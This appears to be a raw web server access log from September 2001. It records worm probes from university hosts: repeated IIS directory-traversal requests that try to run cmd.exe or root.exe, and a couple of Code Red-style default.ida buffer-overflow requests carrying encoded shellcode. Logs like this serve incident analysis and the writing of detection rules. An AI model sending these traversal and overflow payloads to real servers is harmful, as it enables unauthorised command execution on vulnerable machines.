tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:48:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:48:49: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 09:49:13: srcweb.ibr.uga.edu [128.192.63.88] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 09:49:13: srcweb.ibr.uga.edu [128.192.63.88] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:49:13: srcweb.ibr.uga.edu [128.192.63.88] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:49:13: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:49:14: srcweb.ibr.uga.edu [128.192.63.88] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:49:14: srcweb.ibr.uga.edu [128.192.63.88] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:49:14: srcweb.ibr.uga.edu [128.192.63.88] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:49:14: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:49:14: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:49:14: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:49:14: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:49:15: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:49:15: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:49:15: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:49:15: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:49:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 09:50:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 09:50:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:50:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:50:32: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:50:32: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:50:32: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:50:32: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:50:32: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:50:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:50:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:50:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:50:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:50:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:50:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:50:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:50:33: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 09:52:33: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 09:52:33: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:52:33: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:52:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:52:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:52:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:52:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:52:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:52:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:52:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:52:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:52:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:52:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:52:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:52:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:52:35: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 09:54:09: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 09:54:09: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:54:09: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:54:09: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:54:09: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:54:09: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:54:09: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:54:09: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:54:09: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:54:10: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:54:10: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:54:10: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:54:10: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:54:10: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:54:10: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:54:10: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 09:56:00: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 09:56:00: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:56:00: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:56:01: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:56:01: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:56:01: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:56:01: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:56:01: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:56:02: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:56:02: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:56:02: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:56:02: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:56:02: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:56:02: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:56:03: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 09:56:03: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:04:29: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:04:30: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:04:30: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:04:30: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:04:30: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:04:30: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:04:30: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:04:30: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:04:31: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:04:31: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:04:31: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:04:31: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:04:31: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:04:31: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:04:31: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:04:32: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:06:56: exchange.tc.columbia.edu [128.59.90.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:06:56: exchange.tc.columbia.edu [128.59.90.20] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:06:56: exchange.tc.columbia.edu [128.59.90.20] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:06:56: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:06:56: exchange.tc.columbia.edu [128.59.90.20] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:06:57: exchange.tc.columbia.edu [128.59.90.20] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:06:57: exchange.tc.columbia.edu [128.59.90.20] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:06:57: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:06:57: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:06:57: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:06:57: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:06:58: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:06:58: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:06:58: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:06:58: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:06:58: dialup-1-23.cc.columbia.edu [128.59.42.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 10:07:36: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:09:22: hudson.hksm.columbia.edu [128.59.51.208] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:09:23: hudson.hksm.columbia.edu [128.59.51.208] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:09:23: hudson.hksm.columbia.edu [128.59.51.208] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:09:23: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:09:23: hudson.hksm.columbia.edu [128.59.51.208] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:09:23: hudson.hksm.columbia.edu [128.59.51.208] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:09:23: hudson.hksm.columbia.edu [128.59.51.208] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:09:23: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:09:24: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:09:24: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:09:24: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:09:24: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:09:24: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:09:24: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:09:24: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:09:24: chrism.wustl.edu [128.252.53.101] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:11:00: chrism.wustl.edu [128.252.53.101] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:11:04: chrism.wustl.edu [128.252.53.101] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:11:04: chrism.wustl.edu [128.252.53.101] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:11:04: chrism.wustl.edu [128.252.53.101] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:11:07: chrism.wustl.edu [128.252.53.101] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:11:07: chrism.wustl.edu [128.252.53.101] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:11:08: chrism.wustl.edu [128.252.53.101] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:11:08: chrism.wustl.edu [128.252.53.101] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:11:08: chrism.wustl.edu [128.252.53.101] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:11:11: chrism.wustl.edu [128.252.53.101] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:11:11: chrism.wustl.edu [128.252.53.101] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:11:12: chrism.wustl.edu [128.252.53.101] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:11:12: chrism.wustl.edu [128.252.53.101] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:11:12: chrism.wustl.edu [128.252.53.101] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:11:12: chrism.wustl.edu [128.252.53.101] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:11:12: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:13:32: srcweb.ibr.uga.edu [128.192.63.88] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:13:32: srcweb.ibr.uga.edu [128.192.63.88] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:13:32: srcweb.ibr.uga.edu [128.192.63.88] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:13:32: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:13:32: srcweb.ibr.uga.edu [128.192.63.88] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:13:32: srcweb.ibr.uga.edu [128.192.63.88] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:13:33: srcweb.ibr.uga.edu [128.192.63.88] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:13:33: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:13:33: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:13:33: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:13:33: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:13:33: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:13:34: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:13:34: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:13:34: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:13:34: [61.74.141.173] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 10:14:57: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:16:15: exchange.tc.columbia.edu [128.59.90.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:16:15: exchange.tc.columbia.edu [128.59.90.20] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:16: exchange.tc.columbia.edu [128.59.90.20] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:19: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:20: exchange.tc.columbia.edu [128.59.90.20] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:16:21: exchange.tc.columbia.edu [128.59.90.20] "GET 